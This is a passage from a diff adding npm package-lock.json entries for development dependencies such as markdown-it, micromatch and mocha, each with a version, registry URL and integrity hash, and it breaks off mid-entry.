+ "integrity": "sha512-j7MJE+TuT51q9ggt4fSgVqro163BEFjAt3u97IqU+JA2DkWl80nFTrowzLpZ/BnpN7rrl0JA/593NAdd8p/scQ==",
+ "dev": true
+ },
+ "node_modules/log-symbols": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz",
+ "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==",
+ "dev": true,
+ "dependencies": {
+ "chalk": "^4.1.0",
+ "is-unicode-supported": "^0.1.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/lolex": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/lolex/-/lolex-4.2.0.tgz",
+ "integrity": "sha512-gKO5uExCXvSm6zbF562EvM+rd1kQDnB9AZBbiQVzf1ZmdDpxUSvpnAaVOP83N/31mRK8Ml8/VE8DMvsAZQ+7wg==",
+ "dev": true
+ },
+ "node_modules/lower-case": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-1.1.4.tgz",
+ "integrity": "sha512-2Fgx1Ycm599x+WGpIYwJOvsjmXFzTSc34IwDWALRA/8AopUKAVPwfJ+h5+f85BCp0PWmmJcWzEpxOpoXycMpdA==",
+ "dev": true
+ },
+ "node_modules/lru-cache": {
+ "version": "5.1.1",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
+ "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
+ "dev": true,
+ "dependencies": {
+ "yallist": "^3.0.2"
+ }
+ },
+ "node_modules/make-dir": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz",
+ "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==",
+ "dev": true,
+ "dependencies": {
+ "pify": "^4.0.1",
+ "semver": "^5.6.0"
+ },
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/make-dir/node_modules/semver": {
+ "version": "5.7.2",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz",
+ "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==",
+ "dev": true,
+ "bin": {
+ "semver": "bin/semver"
+ }
+ },
+ "node_modules/make-iterator": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/make-iterator/-/make-iterator-1.0.1.tgz",
+ "integrity": "sha512-pxiuXh0iVEq7VM7KMIhs5gxsfxCux2URptUQaXo4iZZJxBAzTPOLE2BumO5dbfVYq/hBJFBR/a1mFDmOx5AGmw==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/map-cache": {
+ "version": "0.2.2",
+ "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz",
+ "integrity": "sha512-8y/eV9QQZCiyn1SprXSrCmqJN0yNRATe+PO8ztwqrvrbdRLA3eYJF0yaR0YayLWkMbsQSKWS9N2gPcGEc4UsZg==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/map-stream": {
+ "version": "0.0.7",
+ "resolved": "https://registry.npmjs.org/map-stream/-/map-stream-0.0.7.tgz",
+ "integrity": "sha512-C0X0KQmGm3N2ftbTGBhSyuydQ+vV1LC3f3zPvT3RXHXNZrvfPZcoXp/N5DOa8vedX/rTMm2CjTtivFg2STJMRQ==",
+ "dev": true
+ },
+ "node_modules/map-visit": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz",
+ "integrity": "sha512-4y7uGv8bd2WdM9vpQsiQNo41Ln1NvhvDRuVt0k2JZQ+ezN2uaQes7lZeZ+QQUHOLQAtDaBJ+7wCbi+ab/KFs+w==",
+ "dev": true,
+ "dependencies": {
+ "object-visit": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/markdown-it": {
+ "version": "10.0.0",
+ "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-10.0.0.tgz",
+ "integrity": "sha512-YWOP1j7UbDNz+TumYP1kpwnP0aEa711cJjrAQrzd0UXlbJfc5aAq0F/PZHjiioqDC1NKgvIMX+o+9Bk7yuM2dg==",
+ "dev": true,
+ "dependencies": {
+ "argparse": "^1.0.7",
+ "entities": "~2.0.0",
+ "linkify-it": "^2.0.0",
+ "mdurl": "^1.0.1",
+ "uc.micro": "^1.0.5"
+ },
+ "bin": {
+ "markdown-it": "bin/markdown-it.js"
+ }
+ },
+ "node_modules/markdown-it-anchor": {
+ "version": "5.3.0",
+ "resolved": "https://registry.npmjs.org/markdown-it-anchor/-/markdown-it-anchor-5.3.0.tgz",
+ "integrity": "sha512-/V1MnLL/rgJ3jkMWo84UR+K+jF1cxNG1a+KwqeXqTIJ+jtA8aWSHuigx8lTzauiIjBDbwF3NcWQMotd0Dm39jA==",
+ "dev": true,
+ "peerDependencies": {
+ "markdown-it": "*"
+ }
+ },
+ "node_modules/markdown-it/node_modules/argparse": {
+ "version": "1.0.10",
+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+ "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+ "dev": true,
+ "dependencies": {
+ "sprintf-js": "~1.0.2"
+ }
+ },
+ "node_modules/marked": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/marked/-/marked-2.1.3.tgz",
+ "integrity": "sha512-/Q+7MGzaETqifOMWYEA7HVMaZb4XbcRfaOzcSsHZEith83KGlvaSG33u0SKu89Mj5h+T8V2hM+8O45Qc5XTgwA==",
+ "dev": true,
+ "bin": {
+ "marked": "bin/marked"
+ },
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/matchdep": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/matchdep/-/matchdep-2.0.0.tgz",
+ "integrity": "sha512-LFgVbaHIHMqCRuCZyfCtUOq9/Lnzhi7Z0KFUE2fhD54+JN2jLh3hC02RLkqauJ3U4soU6H1J3tfj/Byk7GoEjA==",
+ "dev": true,
+ "dependencies": {
+ "findup-sync": "^2.0.0",
+ "micromatch": "^3.0.4",
+ "resolve": "^1.4.0",
+ "stack-trace": "0.0.10"
+ },
+ "engines": {
+ "node": ">= 0.10.0"
+ }
+ },
+ "node_modules/matchdep/node_modules/define-property": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz",
+ "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
+ "dev": true,
+ "dependencies": {
+ "is-descriptor": "^1.0.2",
+ "isobject": "^3.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/matchdep/node_modules/extend-shallow": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+ "dev": true,
+ "dependencies": {
+ "assign-symbols": "^1.0.0",
+ "is-extendable": "^1.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/matchdep/node_modules/findup-sync": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-2.0.0.tgz",
+ "integrity": "sha512-vs+3unmJT45eczmcAZ6zMJtxN3l/QXeccaXQx5cu/MeJMhewVfoWZqibRkOxPnmoR59+Zy5hjabfQc6JLSah4g==",
+ "dev": true,
+ "dependencies": {
+ "detect-file": "^1.0.0",
+ "is-glob": "^3.1.0",
+ "micromatch": "^3.0.4",
+ "resolve-dir": "^1.0.1"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/matchdep/node_modules/is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/matchdep/node_modules/is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/matchdep/node_modules/is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "dependencies": {
+ "is-accessor-descriptor": "^1.0.0",
+ "is-data-descriptor": "^1.0.0",
+ "kind-of": "^6.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/matchdep/node_modules/is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "dependencies": {
+ "is-plain-object": "^2.0.4"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/matchdep/node_modules/is-glob": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz",
+ "integrity": "sha512-UFpDDrPgM6qpnFNI+rh/p3bUaq9hKLZN8bMUWzxmcnZVS3omf4IPK+BrewlnWjO1WmUsMYuSjKh4UJuV4+Lqmw==",
+ "dev": true,
+ "dependencies": {
+ "is-extglob": "^2.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/matchdep/node_modules/micromatch": {
+ "version": "3.1.10",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
+ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
+ "dev": true,
+ "dependencies": {
+ "arr-diff": "^4.0.0",
+ "array-unique": "^0.3.2",
+ "braces": "^2.3.1",
+ "define-property": "^2.0.2",
+ "extend-shallow": "^3.0.2",
+ "extglob": "^2.0.4",
+ "fragment-cache": "^0.2.1",
+ "kind-of": "^6.0.2",
+ "nanomatch": "^1.2.9",
+ "object.pick": "^1.3.0",
+ "regex-not": "^1.0.0",
+ "snapdragon": "^0.8.1",
+ "to-regex": "^3.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/mdurl": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-1.0.1.tgz",
+ "integrity": "sha512-/sKlQJCBYVY9Ers9hqzKou4H6V5UWc/M59TH2dvkt+84itfnq7uFOMLpOiOS4ujvHP4etln18fmIxA5R5fll0g==",
+ "dev": true
+ },
+ "node_modules/memory-fs": {
+ "version": "0.5.0",
+ "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz",
+ "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==",
+ "dev": true,
+ "dependencies": {
+ "errno": "^0.1.3",
+ "readable-stream": "^2.0.1"
+ },
+ "engines": {
+ "node": ">=4.3.0 <5.0.0 || >=5.10"
+ }
+ },
+ "node_modules/merge-stream": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
+ "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==",
+ "dev": true,
+ "peer": true
+ },
+ "node_modules/merge2": {
+ "version": "1.4.1",
+ "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
+ "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",
+ "dev": true,
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/micromatch": {
+ "version": "4.0.5",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz",
+ "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==",
+ "dev": true,
+ "dependencies": {
+ "braces": "^3.0.2",
+ "picomatch": "^2.3.1"
+ },
+ "engines": {
+ "node": ">=8.6"
+ }
+ },
+ "node_modules/micromatch/node_modules/braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
+ "dependencies": {
+ "fill-range": "^7.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/micromatch/node_modules/fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
+ "dependencies": {
+ "to-regex-range": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/micromatch/node_modules/is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.12.0"
+ }
+ },
+ "node_modules/micromatch/node_modules/to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "dependencies": {
+ "is-number": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=8.0"
+ }
+ },
+ "node_modules/mime-db": {
+ "version": "1.52.0",
+ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
+ "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.6"
+ }
+ },
+ "node_modules/mime-types": {
+ "version": "2.1.35",
+ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
+ "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
+ "dev": true,
+ "dependencies": {
+ "mime-db": "1.52.0"
+ },
+ "engines": {
+ "node": ">= 0.6"
+ }
+ },
+ "node_modules/minimatch": {
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
+ "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
+ "dev": true,
+ "dependencies": {
+ "brace-expansion": "^1.1.7"
+ },
+ "engines": {
+ "node": "*"
+ }
+ },
+ "node_modules/mixin-deep": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz",
+ "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==",
+ "dev": true,
+ "dependencies": {
+ "for-in": "^1.0.2",
+ "is-extendable": "^1.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/mixin-deep/node_modules/is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "dependencies": {
+ "is-plain-object": "^2.0.4"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/mkdirp": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
+ "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==",
+ "dev": true,
+ "bin": {
+ "mkdirp": "bin/cmd.js"
+ },
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/mocha": {
+ "version": "9.1.2",
+ "resolved": "https://registry.npmjs.org/mocha/-/mocha-9.1.2.tgz",
+ "integrity": "sha512-ta3LtJ+63RIBP03VBjMGtSqbe6cWXRejF9SyM9Zyli1CKZJZ+vfCTj3oW24V7wAphMJdpOFLoMI3hjJ1LWbs0w==",
+ "dev": true,
+ "dependencies": {
+ "@ungap/promise-all-settled": "1.1.2",
+ "ansi-colors": "4.1.1",
+ "browser-stdout": "1.3.1",
+ "chokidar": "3.5.2",
+ "debug": "4.3.2",
+ "diff": "5.0.0",
+ "escape-string-regexp": "4.0.0",
+ "find-up": "5.0.0",
+ "glob": "7.1.7",
+ "growl": "1.10.5",
+ "he": "1.2.0",
+ "js-yaml": "4.1.0",
+ "log-symbols": "4.1.0",
+ "minimatch": "3.0.4",
+ "ms": "2.1.3",
+ "nanoid": "3.1.25",
+ "serialize-javascript": "6.0.0",
+ "strip-json-comments": "3.1.1",
+ "supports-color": "8.1.1",
+ "which": "2.0.2",
+ "workerpool": "6.1.5",
+ "yargs": "16.2.0",
+ "yargs-parser": "20.2.4",
+ "yargs-unparser": "2.0.0"
+ },
+ "bin": {
+ "_mocha": "bin/_mocha",
+ "mocha": "bin/mocha"
+ },
+ "engines": {
+ "node": ">= 12.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/mochajs"
+ }
+ },
+ "node_modules/mocha/node_modules/ansi-colors": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.1.tgz",
+ "integrity": "sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA==",
+ "dev": true,
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/mocha/node_modules/anymatch": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
+ "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
+ "dev": true,
+ "dependencies": {
+ "normalize-path": "^3.0.0",
+ "picomatch": "^2.0.4"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/mocha/node_modules/binary-extensions": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
+ "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/mocha/node_modules/braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
+ "dependencies": {
+ "fill-range": "^7.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/mocha/node_modules/chokidar": {
+ "version": "3.5.2",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.2.tgz",
+ "integrity": "sha512-ekGhOnNVPgT77r4K/U3GDhu+FQ2S8TnK/s2KbIGXi0SZWuwkZ2QNyfWdZW+TVfn84DpEP7rLeCt2UI6bJ8GwbQ==",
+ "dev": true,
+ "dependencies": {
+ "anymatch": "~3.1.2",
+ "braces": "~3.0.2",
+ "glob-parent": "~5.1.2",
+ "is-binary-path": "~2.1.0",
+ "is-glob": "~4.0.1",
+ "normalize-path": "~3.0.0",
+ "readdirp": "~3.6.0"
+ },
+ "engines": {
+ "node": ">= 8.10.0"
+ },
+ "optionalDependencies": {
+ "fsevents": "~2.3.2"
+ }
+ },
+ "node_modules/mocha/node_modules/debug": {
+ "version": "4.3.2",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz",
+ "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==",
+ "dev": true,
+ "dependencies": {
+ "ms": "2.1.2"
+ },
+ "engines": {
+ "node": ">=6.0"
+ },
+ "peerDependenciesMeta": {
+ "supports-color": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/mocha/node_modules/debug/node_modules/ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ },
+ "node_modules/mocha/node_modules/fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
+ "dependencies": {
+ "to-regex-range": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/mocha/node_modules/fsevents": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+ "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+ "dev": true,
+ "hasInstallScript": true,
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
+ }
+ },
+ "node_modules/mocha/node_modules/glob-parent": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dev": true,
+ "dependencies": {
+ "is-glob": "^4.0.1"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/mocha/node_modules/is-binary-path": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
+ "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+ "dev": true,
+ "dependencies": {
+ "binary-extensions": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/mocha/node_modules/is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.12.0"
+ }
+ },
+ "node_modules/mocha/node_modules/minimatch": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz",
+ "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==",
+ "dev": true,
+ "dependencies": {
+ "brace-expansion": "^1.1.7"
+ },
+ "engines": {
+ "node": "*"
+ }
+ },
+ "node_modules/mocha/node_modules/ms": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+ "dev": true
+ },
+ "node_modules/mocha/node_modules/readdirp": {
+ "version": "3.6.0",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+ "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+ "dev": true,
+ "dependencies": {
+ "picomatch": "^2.2.1"
+ },
+ "engines": {
+ "node": ">=8.10.0"
+ }
+ },
+ "node_modules/mocha/node_modules/supports-color": {
+ "version": "8.1.1",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
+ "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
+ "dev": true,
+ "dependencies": {
+ "has-flag": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/supports-color?sponsor=1"
+ }
+ },
+ "node_modules/mocha/node_modules/to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "dependencies": {
+ "is-number": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=8.0"
+ }
+ },
+ "node_modules/mocha/node_modules/yargs": {
+ "version": "16.2.0",
+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz",
+ "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==",
+ "dev": true,
+ "dependencies": {
+ "cliui": "^7.0.2",
+ "escalade": "^3.1.1",
+ "get-caller-file": "^2.0.5",
+ "require-directory": "^2.1.1",
+ "string-width": "^4.2.0",
+ "y18n": "^5.0.5",
+ "yargs-parser": "^20.2.2"
+ },
+ "engines": {
